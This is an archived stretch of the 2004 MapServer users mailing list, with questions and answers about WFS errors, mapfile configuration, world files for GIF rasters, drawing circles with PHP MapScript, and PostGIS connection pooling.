WFS connection error. Got HTTP status 500 download= ing WFS layer STATION_FR_WFS msHTTPExecuteRequests(): HTTP request error. HTTP GET request failed with s= tatus 500 () for http://127.0.0.1:8080/cgi-bin/mapserv_41wfs.exe?map=3Df:/apache/html/eden/e= den/eden/data/iow/htdocs/iow-wfs.map&=20 Any ideas ? Thanks a lot.Francoismapserv_41.exe -v MapServer version 4.1 OUTPUT=3DGIF OUTPUT=3DPNG OUTPUT=3DJPEG OUTPUT=3DWBMP= OUTPUT=3DPDF O UTPUT=3DSWF SUPPORTS=3DPROJ SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER SUPPO= RTS=3DWMS_CLIEN SUPPORTS=3DWFS_SERVER SUPPORTS=3DWFS_CLIENT INPUT=3DOGR INPUT=3DGDAL INPUT= =3DSHAPEFILE______________________________________________WFS client mapfil= e for the layer______________________________________________ LAYER NAME "STATION_FR_WFS" TYPE POINT STATUS DEFAULT CONNECTIONTYPE WFS CONNECTION "http://127.0.0.1:8080/cgi-bin/mapserv_41wfs.exe?map=3Df:/apac= he/html/eden/eden/eden/data/iow/htdocs/iow-wfs.map&" PROJECTION "init=3Depsg:27582"=09 END METADATA "wfs_version" "1.0.0" "wfs_service" "WFS" "wfs_typename" "STATION_FR" "wfs_latlonboundingbox" "0 40 10 55" #"wfs_latlonboundingbox" "-3.41839 44.3575 8.06537 50.9826" END =09=09=20=20=20=20 CLASS SYMBOL 'circle' SIZE 10 COLOR 255 5 0 END END ______________________________________________WFS server mapfile___________= ___________________________________# # Start of map file # NAME IOW-WFS STATUS ON SIZE 400 300 EXTENT 0 1600000 1300000 2700000 #EXTENT 0 40 10 55 UNITS METERS SHAPEPATH "../data" IMAGECOLOR 255 255 255 #DEBUG on # # Start of web interface definition # WEB IMAGEPATH "f:/apache/html/eden/eden/tmp/"=20 IMAGEURL "/eden/eden/tmp/" LOG "f:/apache/mapservEdenWfsIow.log"=20 =20 METADATA "wms_title" "IOW-WMS-SERVER" "wms_onlineresource" "http://127.0.0.1:8080/cgi-bin/mapserv_41wfs.exe?m= ap=3Df:/apache/html/eden/eden/eden/data/iow/htdocs/iow-wfs.map&service=3DWM= S" "wfs_title" "IOW-WFS-SERVER" "wfs_onlineresource" "http://127.0.0.1:8080/cgi-bin/mapserv_41wfs.exe?m= ap=3Df:/apache/html/eden/eden/eden/data/iow/htdocs/iow-wfs.map&service=3DWF= S" "wfs_srs" "EPSG:27582 EPSG:4326" END END PROJECTION "init=3Depsg:27582" # "init=3DEPSG:4326" END SYMBOL NAME 'circle' TYPE ELLIPSE POINTS 1 1 END FILLED TRUE END LAYER NAME STATION_FR METADATA "wfs_title" "STATION FR" "wms_title" "STATION FR" END TYPE POINT STATUS ON DATA stations PROJECTION "init=3Depsg:27582" END DUMP TRUE CLASS TEMPLATE "ttt_query.html" SYMBOL "circle" SIZE 6 NAME "STATION_FR" OUTLINECOLOR 239 16 16 END #CLASSITEM "STATION"=20 TOLERANCE 5 END # Layer END # Map File _____________________________________________Fran=E7ois-Xavier PrunayreGIS = Engineer / International Office for WaterWeb IOW : www.oieau.orgWeb RNDE : = www.rnde.tm.fr --=20 Ce message a ete verifie par MailScanner pour des virus ou des polluriels e= t rien de suspect n'a ete trouve. Les donnees et renseignements contenus dans ce message sont personnels, con= fidentiels et prives. Toute publication, utilisation ou diffusion, meme par= tielle, doit etre autorisee. Any data and information contained in this electronic mail is personal, con= fidential and secret. Any total or partial publication, use or distribution= must be authorized. ------=_NextPart_000_0132_01C40C1F.101CD120 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable 
Hello, 
I am having problems using WFS. Everything works fine (zo=
om in / pan) but when one of my WFS layer is entirely outside the current v=
iew, the WFS server crashes and the WFS =
client return :
Error is msDrawMap(): Image handling error. Fail=
ed to draw layer named 'STATION_FR_WFS'.=20
msWFSLayerWhichShapes(): WFS connection error. Got HTTP status 500 download=
ing WFS layer STATION_FR_WFS
msHTTPExecuteRequests(): HTTP request error. HTTP GET request failed with s=
tatus 500 () for
http://127.0.0.1:8080/cgi-bin/mapserv_41wfs.exe?map=3Df:/apache/html/eden/e=
den/eden/data/iow/htdocs/iow-wfs.map&=20

Any ideas ? 
Thanks a lot.
Francoi=
s
mapserv_41.exe -v
MapServer version 4.1 OUTPUT=3DGIF OUTPUT=3DPNG OUTPUT=3DJPEG OUTPUT=3DWBMP=
 OUTPUT=3DPDF O
UTPUT=3DSWF SUPPORTS=3DPROJ SUPPORTS=3DFREETYPE SUPPORTS=3DWMS_SERVER SUPPO=
RTS=3DWMS_CLIEN
 SUPPORTS=3DWFS_SERVER SUPPORTS=3DWFS_CLIENT INPUT=3DOGR INPUT=3DGDAL INPUT=
=3DSHAPEFILE
____________=
__________________________________
WFS client mapfile for the layer
______________________________________________
	LAYER
		NAME "STATION_FR_WFS"
		TYPE POINT
		STATUS DEFAULT
		CONNECTIONTYPE WFS
		CONNECTION "http://127.0.0.1:8080/cgi-bin/mapserv_41wfs.exe?map=3Df:/apac=
he/html/eden/eden/eden/data/iow/htdocs/iow-wfs.map&"
		PROJECTION
			"init=3Depsg:27582"=09
		END
		    METADATA
		      "wfs_version" "1.0.0"
		      "wfs_service" "WFS"
		      "wfs_typename" "STATION_FR"
		      "wfs_latlonboundingbox" "0 40 10 55"
		      #"wfs_latlonboundingbox" "-3.41839 44.3575 8.06537 50.9826"
		    END
=09=09=20=20=20=20
		    CLASS
		      SYMBOL 'circle'
			SIZE 10
		      COLOR 255 5 0
		    END
	END
______________________________________________
WFS server mapfile
______________________________________________
 
#
# Start of map file
#
NAME IOW-WFS
STATUS ON
SIZE 400 300
EXTENT 0 1600000 1300000 2700000
#EXTENT 0 40 10 55
UNITS METERS
SHAPEPATH "../data"
IMAGECOLOR 255 255 255
#DEBUG on


#
# Start of web interface definition
#
WEB
  IMAGEPATH "f:/apache/html/eden/eden/tmp/"=20
  IMAGEURL "/eden/eden/tmp/"
   LOG "f:/apache/mapservEdenWfsIow.log"=20
=20
  METADATA
    "wms_title"		"IOW-WMS-SERVER"
    "wms_onlineresource" "http://127.0.0.1:8080/cgi-bin/mapserv_41wfs.exe?m=
ap=3Df:/apache/html/eden/eden/eden/data/iow/htdocs/iow-wfs.map&service=
=3DWMS"
    "wfs_title"		"IOW-WFS-SERVER"
    "wfs_onlineresource" "http://127.0.0.1:8080/cgi-bin/mapserv_41wfs.exe?m=
ap=3Df:/apache/html/eden/eden/eden/data/iow/htdocs/iow-wfs.map&service=
=3DWFS"
    "wfs_srs"		"EPSG:27582 EPSG:4326"
  END
END

PROJECTION
  "init=3Depsg:27582"
#  "init=3DEPSG:4326"
END


SYMBOL
  NAME 'circle'
  TYPE ELLIPSE
  POINTS 1 1 END
  FILLED TRUE
END



LAYER
  NAME STATION_FR
  METADATA
    "wfs_title"	   "STATION FR"
    "wms_title"	   "STATION FR"
  END

  TYPE POINT
  STATUS ON
  DATA stations
  PROJECTION
    "init=3Depsg:27582"
  END
  DUMP TRUE

	CLASS
		TEMPLATE "ttt_query.html"
		SYMBOL "circle"
		SIZE 6
		NAME "STATION_FR"
		OUTLINECOLOR 239 16 16
	END

	#CLASSITEM "STATION"=20
  TOLERANCE 5
END # Layer


END # Map File

_______________________=
______________________
Fran=E7=
ois-Xavier Prunayre
GIS Engineer / International Office for Water=

Web IOW : www.oieau.org
Web RNDE : =
www.rnde.tm.fr
--=20
Ce message a ete verifie par MailScanner pour des virus ou des polluriels et rien de suspect n'a ete trouve.
 
Les donnees et renseignements contenus dans ce message sont personnels, con= fidentiels et priv=E9s.Toute publication, utilisation ou diffusion, meme pa= rtielle, doit etre autorisee.
 
Any data and information contained in this electronic mail is personal, con= fidential and private. Any total or partial publication, use or distributio= n must be authorized. ------=_NextPart_000_0132_01C40C1F.101CD120-- From bvoigt at hs-harz.de Wed Mar 17 05:16:37 2004 From: bvoigt at hs-harz.de (=?ISO-8859-1?Q?Bj=F6rn_Voigt?=) Date: Wed, 17 Mar 2004 14:16:37 +0100 Subject: [Mapserver-users] Image-Symbol as Label instead of Text-Label Message-ID: <40584FB5.2020306@hs-harz.de> Hello everybody, I am using mapserver 4 and I have to display hiking trails in a map. Is it possible to show images instead of text as a label for lines? to show u what I mean: http://www2.hs-harz.de/~584/example.png thank you for help Bj?rn Voigt From gijs at gijs.com Wed Mar 17 05:18:14 2004 From: gijs at gijs.com (Gijs Epping) Date: Wed, 17 Mar 2004 14:18:14 +0100 Subject: [Mapserver-users] Draw circle with polygon Message-ID: <000001c40c22$4e07ec60$2d00a8c0@at11> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C40C2A.AFCC5460 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello, I am trying to draw a circle that has to scale with the map, I have some code now (see below) but that doesn't do the trick it just shows a circle that doesn't scale with the map (It just stay's the same width if I set a different extension). I think i need to create a polygon that is connected to a point, but I don't know how at the moment if somebody could give me a push in the right direction it would be great. Thanks in advance Gijs function createPoint( $x, $y, $programId ) { GLOBAL $shpFile, $dbfFile; // Create shape $oShp = ms_newShapeObj(MS_SHAPE_POINT); $oLine = ms_newLineObj(); $oLine->addXY($x, $y); $oShp->add($oLine); $shpFile->addShape($oShp); // Write attribute record dbase_add_record($dbfFile, array($programId)); } $shpFname = "/var/www/html/atmsv03/proximity"; $shpFile = ms_newShapeFileObj($shpFname, MS_SHP_POINT); $dbfFile = dbase_create( $shpFname.".dbf", array(array("ID", "N", 5, 0))); createPoint($punt[0], $punt[1], 1); // the points come from an area code point $shpFile->free(); dbase_close($dbfFile); // Set the buffer distance $pt_layer = $map->getLayerByName("proximity"); $pt_layer->set("status", MS_ON); $pt_class = $pt_layer->getclass(0); The map file part: LAYER NAME "proximity" data proximity STATUS off TYPE POINT SIZEUNITS meters TRANSPARENCY 50 CLASS SIZE 1000 NAME 'transcircle' SYMBOL 'transcircle' COLOR 255 0 0 END END SYMBOL NAME 'transcircle' TYPE ELLIPSE POINTS 1 1 END FILLED TRUE END ------=_NextPart_000_0001_01C40C2A.AFCC5460 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello,

 

I am trying to draw a circle that = has to scale with the map, I have some code now (see below) but that = doesn’t do the trick it just shows a circle that doesn't scale with the map (It = just stay's the same width if I set a different extension). =

 

I think i need to create a = polygon that is connected to a point, but I don’t know how at the moment if = somebody could give me a push in the right direction it would be = great.

 

Thanks in = advance

Gijs

 

 

function createPoint( $x, $y, = $programId )

   = {

      GLOBAL = $shpFile, $dbfFile;

 

      // = Create shape

      $oShp = =3D ms_newShapeObj(MS_SHAPE_POINT);

      $oLine = =3D ms_newLineObj();

      $oLine->addXY($x, $y);

      $oShp->add($oLine);

      $shpFile->addShape($oShp); // Write attribute = record

      dbase_add_record($dbfFile, = array($programId));

   = }

 

   $shpFname =3D "/var/www/html/atmsv03/proximity";

=

   $shpFile =3D ms_newShapeFileObj($shpFname, = MS_SHP_POINT);

   $dbfFile =3D = dbase_create( $shpFname.".dbf", array(array("ID", "N", = 5, 0)));

 

   createPoint($punt[0], = $punt[1], 1); // the points come from an area code = point

 

   = $shpFile->free();

   = dbase_close($dbfFile);

 

   // Set the buffer = distance

   $pt_layer =3D = $map->getLayerByName("proximity");<= /p>

   $pt_layer->set("status", = MS_ON);

   $pt_class =3D $pt_layer->getclass(0);

 

 

 

 

The map file = part:

 

LAYER

 NAME = "proximity"

 data = proximity

 STATUS = off

 TYPE = POINT

 SIZEUNITS = meters

 TRANSPARENCY = 50

CLASS

 SIZE = 1000

 NAME = 'transcircle'

 SYMBOL = 'transcircle'

 COLOR 255 0 = 0

 END

END

SYMBOL

 NAME = 'transcircle'

 TYPE = ELLIPSE

 POINTS 1 1

 END

 FILLED = TRUE

END

 

 

 

 

------=_NextPart_000_0001_01C40C2A.AFCC5460-- From cz_toh at yahoo.com Wed Mar 17 06:03:26 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Wed, 17 Mar 2004 14:03:26 +0000 (GMT) Subject: [Mapserver-users] Own map does not show up on browser Message-ID: <20040317140326.6715.qmail@web14008.mail.yahoo.com> Hi, I have managed to do a simple example of using my own map to be shown However I don't get any errors when trying to display the map but all I see its blank This is my map file MAP IMAGETYPE GIF EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 SIZE 400 300 SHAPEPATH "C:\Program Files\Apache Group\Apache2 \htdocs\tutorial\data" IMAGECOLOR 255 255 255 PROJECTION "proj=laea" "ellps=clrk66" "lat_0=45" "lon_0=-100" # # Alternatively, you can specify an EPSG code. # "init=epsg:2163" # END # Start of LAYER DEFINITIONS ------------------------------------------- -- LAYER # States polygon layer begins here NAME tp_genmap DATA tp_genmap.gif STATUS ON TYPE RASTER PROJECTION "init=epsg:4326" END CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END # States polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object The map I am currently using is a GIF file I have all the required libaries to use GIF files in mapserver Can someone help please? Thanks ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From pucher at atlas.gis.univie.ac.at Wed Mar 17 06:12:14 2004 From: pucher at atlas.gis.univie.ac.at (Alexander Pucher) Date: Wed, 17 Mar 2004 15:12:14 +0100 Subject: [Mapserver-users] Anti-Aliasing of lines Message-ID: <40585CBE.5080400@atlas.gis.univie.ac.at> Hi, what is the recent status of anti-aliasing of lines in MapServer. The limitation is GD, is this correct? regards, alex. From lfilak at medinaco.org Wed Mar 17 06:17:04 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 17 Mar 2004 09:17:04 -0500 Subject: [Mapserver-users] Own map does not show up on browser Message-ID: <20040317141658.BA89A1A659C@mail.medinaco.org> Do you have a wld/gfw to go along with your gif file? Lowell The following message was sent by =?iso-8859-1?q?TOH=20CZ?= on Wed, 17 Mar 2004 14:03:26 +0000 (GMT). > Hi, I have managed to do a simple example of using my > own map to be shown > However I don't get any errors when trying to display > the map but all I see its blank > This is my map file > > MAP > IMAGETYPE GIF > EXTENT 201621.496941 -294488.285333 > 1425518.020722 498254.511514 > SIZE 400 300 > SHAPEPATH "C:\Program Files\Apache > Group\Apache2 > > \htdocs\tutorial\data" > IMAGECOLOR 255 255 255 > > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS > ------------------------------------------- > > -- > LAYER # States polygon layer begins here > NAME tp_genmap > DATA tp_genmap.gif > STATUS ON > TYPE RASTER > > PROJECTION > "init=epsg:4326" > END > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END # States polygon layer ends here > # End of LAYER DEFINITIONS > ------------------------------- > > END # end of map file/object > > The map I am currently using is a GIF file I have all > the required libaries to use GIF files in mapserver > Can someone help please? Thanks > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ewaters at xmission.com Wed Mar 17 06:23:50 2004 From: ewaters at xmission.com (Eric Waters) Date: Wed, 17 Mar 2004 07:23:50 -0700 Subject: [Mapserver-users] Get the color of a class In-Reply-To: <20040317091031.46917.qmail@web41312.mail.yahoo.com> References: <20040317091031.46917.qmail@web41312.mail.yahoo.com> Message-ID: <20040317142350.GA7779@deuce.xmission.com> I'm new, but I was dealing with this yesterday in Perl. I think you can do it like this: $Style1 = $Class1->styles; echo "Class: ".$Style1->outlinecolor; echo "Class: ".$Style1->color; Eric Waters On Wed, Mar 17, 2004 at 10:10:31AM +0100, Irene P?rez wrote: > I need get the color of a layer, and I've: > > $Class1 = $miLayer->GetClass(0); > echo "Class: ".$Class1-> name; > echo "Class: ".$Class1-> template; > and I obtain the name, the template ... > ... > but i need the color: > > echo "Class: ".$Class1->outlinecolor; > echo "Class: ".$Class1->color; > appears in blank. > > Thanks. > > > > > ___________________________________________________ > Yahoo! Messenger - Nueva versi?n GRATIS > Super Webcam, voz, caritas animadas, y m?s... > http://messenger.yahoo.es > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From josb at pml.ac.uk Wed Mar 17 06:24:20 2004 From: josb at pml.ac.uk (John Beisley - RSG) Date: Wed, 17 Mar 2004 14:24:20 +0000 Subject: [Mapserver-users] Own map does not show up on browser In-Reply-To: <20040317140326.6715.qmail@web14008.mail.yahoo.com> References: <20040317140326.6715.qmail@web14008.mail.yahoo.com> Message-ID: <40585F94.7040809@pml.ac.uk> Try giving an absolute path to the GIF image, as it's not entirely clear where relative paths are relative to. - John TOH CZ wrote: >Hi, I have managed to do a simple example of using my >own map to be shown >However I don't get any errors when trying to display >the map but all I see its blank >This is my map file > >MAP > IMAGETYPE GIF > EXTENT 201621.496941 -294488.285333 >1425518.020722 498254.511514 > SIZE 400 300 > SHAPEPATH "C:\Program Files\Apache >Group\Apache2 > >\htdocs\tutorial\data" > IMAGECOLOR 255 255 255 > > PROJECTION > "proj=laea" > "ellps=clrk66" > "lat_0=45" > "lon_0=-100" > # > # Alternatively, you can specify an EPSG code. > # "init=epsg:2163" > # > END > > # Start of LAYER DEFINITIONS >------------------------------------------- > >-- > LAYER # States polygon layer begins here > NAME tp_genmap > DATA tp_genmap.gif > STATUS ON > TYPE RASTER > > PROJECTION > "init=epsg:4326" > END > > CLASS > COLOR 232 232 232 > OUTLINECOLOR 32 32 32 > END > END # States polygon layer ends here > # End of LAYER DEFINITIONS >------------------------------- > >END # end of map file/object > >The map I am currently using is a GIF file I have all >the required libaries to use GIF files in mapserver >Can someone help please? Thanks > > > -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free From cz_toh at yahoo.com Wed Mar 17 06:34:42 2004 From: cz_toh at yahoo.com (=?iso-8859-1?q?TOH=20CZ?=) Date: Wed, 17 Mar 2004 14:34:42 +0000 (GMT) Subject: [Mapserver-users] Own map does not show up on browser Message-ID: <20040317143442.78044.qmail@web14005.mail.yahoo.com> Hi, I have changed the STATUS to DEFAULT but it still does not work I do not know what is this wld/gfw is it something you need to help you use your GIF file? ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html From sd at dil.in Wed Mar 17 06:30:36 2004 From: sd at dil.in (Saurabh Data) Date: Wed, 17 Mar 2004 14:30:36 +0000 Subject: [Mapserver-users] demo problem and postgis Message-ID: Hi I now have successfully compiled and installed mapserver and want to test it by doing a demo .. On http://mapserver.gis.umn.edu/demo_readme.html : 1) The link to download the demo is not working 2) I somehow got the demo from faq page and while running it it says : msLoadMap(): General error message. Undefined overlay symbol "symbols/ctyhwy.gif" in class 0, style 0 of layer ctyrdln3_anno. msAddImageSymbol(): General error message. Unable to load GIF symbol. I think this is asking for GIF library.. where as I have PNG anf JPEG installed. Also I think GIF is proprietary !! .. what do I do to resolve the problem Also, as I am new to mapserver and want to use postGIS as a backend , can anyone give me any ideas to to do it ? I couldnot find any information on documentation page.!! cheers Saurabh Data _________________________________________________________________ Stay in touch with absent friends - get MSN Messenger http://www.msn.co.uk/messenger From sgillies at frii.com Wed Mar 17 06:41:41 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 17 Mar 2004 07:41:41 -0700 Subject: [Mapserver-users] Get the color of a class In-Reply-To: <20040317091031.46917.qmail@web41312.mail.yahoo.com> References: <20040317091031.46917.qmail@web41312.mail.yahoo.com> Message-ID: <34316C86-7821-11D8-B9A2-000393B98B56@frii.com> On Mar 17, 2004, at 2:10 AM, Irene P?rez wrote: > I need get the color of a layer, and I've: > > $Class1 = $miLayer->GetClass(0); > echo "Class: ".$Class1-> name; > echo "Class: ".$Class1-> template; > and I obtain the name, the template ... > .... > but i need the color: > > echo "Class: ".$Class1->outlinecolor; > echo "Class: ".$Class1->color; > appears in blank. > > Thanks. > I'm guessing here, but you are using mapserver 4? In version 4, colors are now defined in the styles attribute of a class. $Class1->{styles}->{outlinecolor}; cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From lfilak at medinaco.org Wed Mar 17 06:41:51 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 17 Mar 2004 09:41:51 -0500 Subject: [Mapserver-users] Draw circle with polygon Message-ID: <20040317144145.EF6851A6599@mail.medinaco.org> I think you may need to check out the symbolscale under the layer object. Also in you mapscript code you should not need to add a point to a line object in order to add to a point shapefile. $shpFile->addPoint(pointObj) should suffice. HTH Lowell The following message was sent by "Gijs Epping" on Wed, 17 Mar 2004 14:18:14 +0100. > Hello, > > I am trying to draw a circle that has to scale with the map, I have some > code now (see below) but that doesn't do the trick it just shows a > circle that doesn't scale with the map (It just stay's the same width if > I set a different extension). > > I think i need to create a polygon that is connected to a point, but I > don't know how at the moment if somebody could give me a push in the > right direction it would be great. > > Thanks in advance > Gijs > > > function createPoint( $x, $y, $programId ) > { > GLOBAL $shpFile, $dbfFile; > > // Create shape > $oShp = ms_newShapeObj(MS_SHAPE_POINT); > $oLine = ms_newLineObj(); > $oLine->addXY($x, $y); > $oShp->add($oLine); > $shpFile->addShape($oShp); // Write attribute record > dbase_add_record($dbfFile, array($programId)); > } > > $shpFname = "/var/www/html/atmsv03/proximity"; > $shpFile = ms_newShapeFileObj($shpFname, MS_SHP_POINT); > $dbfFile = dbase_create( $shpFname.".dbf", array(array("ID", "N", 5, > 0))); > > createPoint($punt[0], $punt[1], 1); // the points come from an area > code point > > $shpFile->free(); > dbase_close($dbfFile); > > // Set the buffer distance > $pt_layer = $map->getLayerByName("proximity"); > $pt_layer->set("status", MS_ON); > $pt_class = $pt_layer->getclass(0); > > > > > The map file part: > > LAYER > NAME "proximity" > data proximity > STATUS off > TYPE POINT > SIZEUNITS meters > TRANSPARENCY 50 > CLASS > SIZE 1000 > NAME 'transcircle' > SYMBOL 'transcircle' > COLOR 255 0 0 > END > END > SYMBOL > NAME 'transcircle' > TYPE ELLIPSE > POINTS 1 1 > END > FILLED TRUE > END > > > > > From lfilak at medinaco.org Wed Mar 17 06:48:58 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 17 Mar 2004 09:48:58 -0500 Subject: [Mapserver-users] Own map does not show up on browser Message-ID: <20040317144852.97E7D1A659B@mail.medinaco.org> The wld/gfw is the world coordinate file for the image. Without it mapserver has no idea where to locate the image in the real world in relation to the extents set in the mapfile. The wld file contains the real-world coordinates of the upper left pixel of the image along with the pixel size & rotation (which normally isn't used). There should be quite a bit of discussion on this available in the archives. HTH Lowell The following message was sent by =?iso-8859-1?q?TOH=20CZ?= on Wed, 17 Mar 2004 14:34:42 +0000 (GMT). > Hi, I have changed the STATUS to DEFAULT but it still > does not work > I do not know what is this wld/gfw is it something you > need to help you use your GIF file? > > > > > > ___________________________________________________________ > Yahoo! Messenger - Communicate instantly..."Ping" > your friends today! Download Messenger Now > http://uk.messenger.yahoo.com/download/index.html > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lfilak at medinaco.org Wed Mar 17 06:54:22 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 17 Mar 2004 09:54:22 -0500 Subject: [Mapserver-users] Get the color of a class Message-ID: <20040317145416.7FE051A6599@mail.medinaco.org> Good prognosis - I would add one more step as a colorObj will be returned and it appears that you are trying to print a readable color description - $Style1->outlinecolor->red, blue, green, & $Style1->color->etc... Lowell The following message was sent by Eric Waters on Wed, 17 Mar 2004 07:23:50 -0700. > I'm new, but I was dealing with this yesterday in Perl. > > I think you can do it like this: > > $Style1 = $Class1->styles; > echo "Class: ".$Style1->outlinecolor; > echo "Class: ".$Style1->color; > > Eric Waters > > > On Wed, Mar 17, 2004 at 10:10:31AM +0100, Irene P?rez wrote: > > I need get the color of a layer, and I've: > > > > $Class1 = $miLayer->GetClass(0); > > echo "Class: ".$Class1-> name; > > echo "Class: ".$Class1-> template; > > and I obtain the name, the template ... > > ... > > but i need the color: > > > > echo "Class: ".$Class1->outlinecolor; > > echo "Class: ".$Class1->color; > > appears in blank. > > > > Thanks. > > > > > > > > > > ___________________________________________________ > > Yahoo! Messenger - Nueva versi?n GRATIS > > Super Webcam, voz, caritas animadas, y m?s... > > http://messenger.yahoo.es > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jhart at frw.uva.nl Wed Mar 17 06:46:57 2004 From: jhart at frw.uva.nl (Jan Hartmann) Date: Wed, 17 Mar 2004 15:46:57 +0100 Subject: [Mapserver-users] connection pooling In-Reply-To: <4057621F.7090408@telogis.com> References: <40572880.2080003@frw.uva.nl> <4057621F.7090408@telogis.com> Message-ID: <405864E1.4070009@frw.uva.nl> David Mitchell wrote: > > So this means there is no connection pooling support for postgis? > > I haven't checked the latest CVS version, but at the beginning of this year the connection pooling mechanism had not yet been extended to PostGIS. It doesn't matter very much however, as connection pooling gives practically no performance gain here. PostgreSQL is very efficient in connecting to a database, so the difference between creating a connection for every layer or just connecting once for the whole mapfile is very small. It would be nice if connection pooling would be implemented for PostGIS (it's only a dozen lines or so), but it is not essential at all. Yet, unless there are drawbacks I don't know about, perhaps someone from Refractions could file a bug, to remind them of it on a rainy day with nothing else to do. It is different for SDE and Oracle. SDE has been done by Steve Lime last year, resulting in real performance gain, as I heard. For Oracle it would be a really important addition. I don't know if there are people working on the Oracle interface at the moment (I vaguely remember having read that they had gone AWOL). If they have returned, I would be happy to assist. BTW: connection pooling is not as important for databases as for static maps. With a database, you don't have to return separate layers, you can also return information in a single layer, dynamically produced by a subquery. Jan Jan From gijs at gijs.com Wed Mar 17 07:04:48 2004 From: gijs at gijs.com (Gijs Epping) Date: Wed, 17 Mar 2004 16:04:48 +0100 Subject: [Mapserver-users] Draw circle with polygon In-Reply-To: <20040317144145.EF6851A6599@mail.medinaco.org> Message-ID: <000001c40c31$30f993d0$2d00a8c0@at11> Thanks for your answer but i was looking for this. function createPoint( $x1, $y2, $programId, $radius) { GLOBAL $shpFile, $dbfFile; // Create shape $oShp = ms_newShapeObj(MS_SHAPE_POLYGON); $oLine = ms_newLineObj(); $pointObj = ms_newPointObj(); for ($i = 0; $i <= 360; $i = $i + 10) { $x = $x1 + (cos($i * (22 / 7) / 180) * $radius); $y = $y2 - (sin($i * (22 / 7) / 180) * $radius); $pointObj->setXY($x, $y); $oLine->add($pointObj); } $oShp->add($oLine); $shpFile->addShape($oShp); // Write attribute record dbase_add_record($dbfFile, array($programId)); } $shpFname = "/var/www/html/atmsv03/testpol"; $shpFile = ms_newShapeFileObj($shpFname, MS_SHP_POLYGON); $dbfFile = dbase_create( $shpFname.".dbf", array(array("ID", "N", 5, 0))); // geopoint1 and 2 and 100 is the radius createPoint($punt[0], $punt[1], 1, 100); $shpFile->free(); dbase_close($dbfFile); // Set the buffer distance $pt_layer = $map->getLayerByName("polygon"); $pt_layer->set("status", MS_ON); $pt_layer->set("transparency", 50); $pt_class = $pt_layer->getclass(0); MAP FILE LAYER NAME "polygon" TYPE POLYGON STATUS OFF DATA testpol CLASS NAME 'Europa' COLOR 255 0 0 OUTLINECOLOR 0 0 0 END END # layer Thanks anyway. Gijs -----Oorspronkelijk bericht----- Van: Lowell Filak [mailto:lfilak at medinaco.org] Verzonden: woensdag 17 maart 2004 15:42 Aan: Gijs Epping; mapserver-users at lists.gis.umn.edu Onderwerp: Re: [Mapserver-users] Draw circle with polygon I think you may need to check out the symbolscale under the layer object. Also in you mapscript code you should not need to add a point to a line object in order to add to a point shapefile. $shpFile->addPoint(pointObj) should suffice. HTH Lowell The following message was sent by "Gijs Epping" on Wed, 17 Mar 2004 14:18:14 +0100. > Hello, > > I am trying to draw a circle that has to scale with the map, I have some > code now (see below) but that doesn't do the trick it just shows a > circle that doesn't scale with the map (It just stay's the same width if > I set a different extension). > > I think i need to create a polygon that is connected to a point, but I > don't know how at the moment if somebody could give me a push in the > right direction it would be great. > > Thanks in advance > Gijs > > > function createPoint( $x, $y, $programId ) > { > GLOBAL $shpFile, $dbfFile; > > // Create shape > $oShp = ms_newShapeObj(MS_SHAPE_POINT); > $oLine = ms_newLineObj(); > $oLine->addXY($x, $y); > $oShp->add($oLine); > $shpFile->addShape($oShp); // Write attribute record > dbase_add_record($dbfFile, array($programId)); > } > > $shpFname = "/var/www/html/atmsv03/proximity"; > $shpFile = ms_newShapeFileObj($shpFname, MS_SHP_POINT); > $dbfFile = dbase_create( $shpFname.".dbf", array(array("ID", "N", 5, > 0))); > > createPoint($punt[0], $punt[1], 1); // the points come from an area > code point > > $shpFile->free(); > dbase_close($dbfFile); > > // Set the buffer distance > $pt_layer = $map->getLayerByName("proximity"); > $pt_layer->set("status", MS_ON); > $pt_class = $pt_layer->getclass(0); > > > > > The map file part: > > LAYER > NAME "proximity" > data proximity > STATUS off > TYPE POINT > 